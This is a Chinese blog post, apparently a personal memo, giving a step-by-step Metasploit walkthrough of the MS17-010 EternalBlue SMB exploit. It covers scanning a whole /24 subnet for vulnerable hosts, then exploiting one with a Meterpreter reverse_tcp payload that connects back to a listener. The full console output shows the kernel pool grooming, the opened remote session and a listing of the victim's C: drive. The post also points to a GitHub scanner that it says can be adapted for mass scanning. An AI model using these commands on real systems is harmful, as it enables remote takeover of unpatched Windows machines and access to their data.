exploit-db : https://www.exploit-db.com/exploits/42315/

该漏洞的影响版本很广泛:Microsoft Windows Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)

具体请查看公告:Microsoft 安全公告 MS17-010 - 严重

下面简单记录局域网内,漏洞的利用过程,以备忘。

1、更新Metasploit

Metasploit里已经集成了该漏洞利用脚本,可能使用之前需要更新一下。

root@kali:~# apt update; apt install metasploit-framework

2、查找smb_ms17_010脚本位置

msf > search ms17-010
[!] Module database cache not built yet, using slow searchMatching Modules
================Name                                      Disclosure Date  Rank     Description----                                      ---------------  ----     -----------auxiliary/scanner/smb/smb_ms17_010                         normal   MS17-010 SMB RCE Detectionexploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

3、扫描检测

msf > use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(smb_ms17_010) > show optionsModule options (auxiliary/scanner/smb/smb_ms17_010):Name       Current Setting  Required  Description----       ---------------  --------  -----------RHOSTS                      yes       The target address range or CIDR identifierRPORT      445              yes       The SMB service port (TCP)SMBDomain  .                no        The Windows domain to use for authenticationSMBPass                     no        The password for the specified usernameSMBUser                     no        The username to authenticate asTHREADS    1                yes       The number of concurrent threadsmsf auxiliary(smb_ms17_010) > set rhosts 192.168.1.1-254
rhosts => 192.168.1.1-254
msf auxiliary(smb_ms17_010) > exploit[+] 192.168.1.15:445      - Host is likely VULNERABLE to MS17-010!  (Windows 7 Professional 7601 Service Pack 1)
[+] 192.168.1.16:445      - Host is likely VULNERABLE to MS17-010!  (Windows 7 Professional 7601 Service Pack 1)

后面的就不再展示了,上面的话还可以设置扫描线程数THREADS, 以加快扫描速度。

除了上面可以检测网段之外,也可以针对单个ip进行检测。以192.168.1.16:445为例:

msf auxiliary(smb_ms17_010) > set rhosts 192.168.1.16
rhosts => 192.168.1.16
msf auxiliary(smb_ms17_010) > exploit[+] 192.168.1.16:445      - Host is likely VULNERABLE to MS17-010!  (Windows 7 Professional 7601 Service Pack 1)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

4、漏洞利用getshell

从上面我们已经找到存在MS17-010漏洞的局域网主机192.168.1.16, 下面可以开始利用了。

msf auxiliary(smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > show optionsModule options (exploit/windows/smb/ms17_010_eternalblue):Name                Current Setting  Required  Description----                ---------------  --------  -----------GroomAllocations    12               yes       Initial number of times to groom the kernel pool.GroomDelta          5                yes       The amount to increase the groom count by per try.MaxExploitAttempts  3                yes       The number of times to retry the exploit.ProcessName         spoolsv.exe      yes       Process to inject payload into.RHOST                                yes       The target addressRPORT               445              yes       The target port (TCP)SMBDomain           .                no        (Optional) The Windows domain to use for authenticationSMBPass                              no        (Optional) The password for the specified usernameSMBUser                              no        (Optional) The username to authenticate asVerifyArch          true             yes       Check if remote architecture matches exploit Target.VerifyTarget        true             yes       Check if remote OS matches exploit Target.Exploit target:Id  Name--  ----0   Windows 7 and Server 2008 R2 (x64) All Service Packsmsf exploit(ms17_010_eternalblue) > set rhost 192.168.1.16    【靶机】
rhost => 192.168.1.16
msf exploit(ms17_010_eternalblue) > exploit

本地攻击机的ip是192.168.1.115

5、漏洞利用meterpreter

这里就直接给出利用过程了:

msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > show optionsModule options (exploit/windows/smb/ms17_010_eternalblue):Name                Current Setting  Required  Description----                ---------------  --------  -----------GroomAllocations    12               yes       Initial number of times to groom the kernel pool.GroomDelta          5                yes       The amount to increase the groom count by per try.MaxExploitAttempts  3                yes       The number of times to retry the exploit.ProcessName         spoolsv.exe      yes       Process to inject payload into.RHOST                                yes       The target addressRPORT               445              yes       The target port (TCP)SMBDomain           .                no        (Optional) The Windows domain to use for authenticationSMBPass                              no        (Optional) The password for the specified usernameSMBUser                              no        (Optional) The username to authenticate asVerifyArch          true             yes       Check if remote architecture matches exploit Target.VerifyTarget        true             yes       Check if remote OS matches exploit Target.Exploit target:Id  Name--  ----0   Windows 7 and Server 2008 R2 (x64) All Service Packsmsf exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp      【反弹shell】
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(ms17_010_eternalblue) > set rhost 192.168.1.103                     【漏洞主机
rhost => 192.168.1.103
msf exploit(ms17_010_eternalblue) > set lhost 192.168.1.115                    【监听的主机】
lhost => 192.168.1.115
msf exploit(ms17_010_eternalblue) > exploit[*] Started reverse TCP handler on 192.168.1.115:4444
[*] 192.168.1.103:445 - Connecting to target for exploitation.
[+] 192.168.1.103:445 - Connection established for exploitation.
[+] 192.168.1.103:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.103:445 - CORE raw buffer dump (42 bytes)
[*] 192.168.1.103:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 192.168.1.103:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 192.168.1.103:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 192.168.1.103:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.103:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.103:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.103:445 - Starting non-paged pool grooming
[+] 192.168.1.103:445 - Sending SMBv2 buffers
[+] 192.168.1.103:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.103:445 - Sending final SMBv2 buffers.
[*] 192.168.1.103:445 - Sending last fragment of exploit packet!
[*] 192.168.1.103:445 - Receiving response from exploit packet
[+] 192.168.1.103:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.103:445 - Sending egg to corrupted connection.
[*] 192.168.1.103:445 - Triggering free of corrupted buffer.
[*] Sending stage (1188415 bytes) to 192.168.1.103
[*] Meterpreter session 1 opened (192.168.1.115:4444 -> 192.168.1.103:49169) at 2017-08-15 04:50:12 -0400
[+] 192.168.1.103:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.103:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.103:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter > dir C:\
Listing: C:\
============Mode             Size   Type  Last modified              Name
----             ----   ----  -------------              ----
40777/rwxrwxrwx  0      dir   2017-07-18 05:44:00 -0400  $Recycle.Bin
40777/rwxrwxrwx  0      dir   2017-07-25 10:54:59 -0400  360Downloads
40777/rwxrwxrwx  0      dir   2009-07-14 01:08:56 -0400  Documents and Settings
40777/rwxrwxrwx  0      dir   2009-07-13 23:20:08 -0400  PerfLogs
40555/r-xr-xr-x  4096   dir   2017-07-18 06:41:07 -0400  Program Files
40555/r-xr-xr-x  4096   dir   2017-07-25 10:52:48 -0400  Program Files (x86)
40777/rwxrwxrwx  4096   dir   2017-08-14 22:57:23 -0400  ProgramData
40777/rwxrwxrwx  0      dir   2017-07-18 05:43:47 -0400  Recovery
40777/rwxrwxrwx  4096   dir   2017-07-25 08:41:04 -0400  System Volume Information
40555/r-xr-xr-x  4096   dir   2017-07-18 05:43:52 -0400  Users
40777/rwxrwxrwx  16384  dir   2017-07-25 07:54:37 -0400  Windows
0000/---------   0      fif   1969-12-31 19:00:00 -0500  pagefile.sys
40777/rwxrwxrwx  0      dir   2017-07-18 05:49:23 -0400  share

从上面可以看到我们已经拿到一个meterpreter ... 

Github

另外附上github上找到的一个脚本,可以很方便的改成一个批量脚本:

https://github.com/pythonone/MS17-010/blob/master/scanners/smb_ms17_010.py

好了,到此结束,欢迎跟我留言交流。

转载于:https://www.cnblogs.com/Hi-blog/p/7339588.html

SMB MS17-010 利用(CVE-2017-0144 )相关推荐

  1. linux内核安全数据,【漏洞分析】Linux内核XFRM权限提升漏洞分析预警(CVE–2017–16939)...

    0x00 背景介绍 2017年11月24日, OSS社区披露了一个由独立安全研究员Mohamed Ghannam发现的一处存在于Linux 内核Netlink socket子系统(XFRM)的漏洞,漏 ...

  2. php cve 2017 12933,18-017 (March 27, 2018)

    描述 * indicates a new version of an existing rule Deep Packet Inspection Rules: DCERPC Services - Cli ...

  3. 2021年第一季度Sumap网络空间测绘CVE漏洞趋势安全分析报告

    前言 本文主要通过网络测绘角度收集各种资产协议的版本号信息,通过比对CVE漏洞影响范围中的版本号方式,进行安全风险趋势分析,无任何实际危害互联网行为.资产在携带版本中也会存在修复补丁后版本不变的情况. ...

  4. smb服务器速度测试_SMB 文件服务器的性能优化

    SMB 文件服务器的性能优化Performance tuning for SMB file servers 4/14/2017 本文内容 SMB 配置注意事项SMB configuration con ...

  5. 新Astaroth***病毒可利用杀毒软件窃取数据

    一种新的Astaroth***病毒被赋予了利用杀毒软件和服务中易受***的进程的能力.Cybereason的Nocturnus研究团队周三在一篇博客文章中表示,这种病毒能够利用网络安全软件中的模块来窃 ...

  6. s2 安恒 漏洞验证工具_Struts2漏洞利用工具下载(更新2017-V1.8版增加S2-045/S2-046)

    Struts2漏洞利用工具下载(已更新V1.8版) 2017-03-21: 增加S2-046,官方发布S2-046和S2-045漏洞引发原因一样,只是利用漏洞的位置发生了变化,S2-046方式可能绕过 ...

  7. s2 安恒 漏洞验证工具_Struts2漏洞利用工具下载(更新2017-V1.8版增加S2-045/S2-046)-阿里云开发者社区...

    Struts2漏洞利用工具下载(已更新V1.8版) 2017-03-21: 增加S2-046,官方发布S2-046和S2-045漏洞引发原因一样,只是利用漏洞的位置发生了变化,S2-046方式可能绕过 ...

  8. 2017云计算与IT风向标-------- 移动、转型、整合

    风来了,雾霾散尽,再现蓝天,我们渴望持续的风,更关注风向的变化.三句话离不开我们所处的行业,我们也非常关注云风向.粗略分析,我把新一年的云风向大致分为三个:移动.转型及整合. 我很同意我的同事Maso ...

  9. 什么是cve什么是cwe_什么是CVE 2020 0601又名Curveball,为何如此危险

    什么是cve什么是cwe Monday the 13th of January Brian Krebs published on his blog that he had sources tellin ...

  10. BlackSquid恶意软件分析:利用8个臭名昭著的漏洞攻击服务器,并投放挖矿恶意软件

    概述 如果说,攻击者成功利用未修复的安全漏洞实现攻击的事件,大家已经习以为常.那么,如果有攻击者使用了8个漏洞来获取企业资产数据及客户信息,那么事情就变得不一样了. 近期,我们发现了一个新型恶意软件系 ...

最新文章

  1. php 开发restful api,用PHP创建RESTful API?
  2. arthas jvm相关命令使用示例:jvm、sysprop
  3. 关于STM中SPI运用的NSS引脚解读
  4. PhotoSwipe 图片浏览插件使用方法
  5. 旋转图像Python解法
  6. 10个绕过反病毒的恶意用户技巧
  7. python设计模式免费_python 设计模式
  8. 提问的智慧(转自github)
  9. 抓取豆瓣电影时遇到的问题记录
  10. 计算机三级网络技术考过指南
  11. Win10双网卡上网冲突(内网、外网)
  12. 计算机工业机器人编程,15个你不知道的工业机器人编程冷知识
  13. python中的减号_我的python把减号和破折号混淆了
  14. 努力无用论?我不信。。。
  15. uniapp的button按钮使用boder:none依然无法去掉黑色边框的解决。
  16. nginx 80 443 并存
  17. KVM安装+vlan配置(超详细)
  18. [附源码]计算机毕业设计Python的连锁药店销售管理系统(程序+源码+LW文档)
  19. java 创建一个抽象类_Java-抽象类
  20. 斯须改变如苍狗——一张图的随想

热门文章

  1. Linux目录/bin、/sbin、/usr/bin、/usr/sbin的区别
  2. linux多线程编程——同步与互斥
  3. CDHtmlDialog 与 网页交互技巧
  4. linux 进程开始与终止
  5. [react] 说说你对reader的context的理解
  6. React开发(213):React在 DevTools 中显示自定义名称
  7. 前端学习(3253):react脚手架文件介绍
  8. [css] 怎么去掉点击a链接或者图片出现的边框?
  9. 前端学习(2773):条件编译和跨端兼容
  10. 前端学习(1767):前端调试值之内存监控的原理和方法二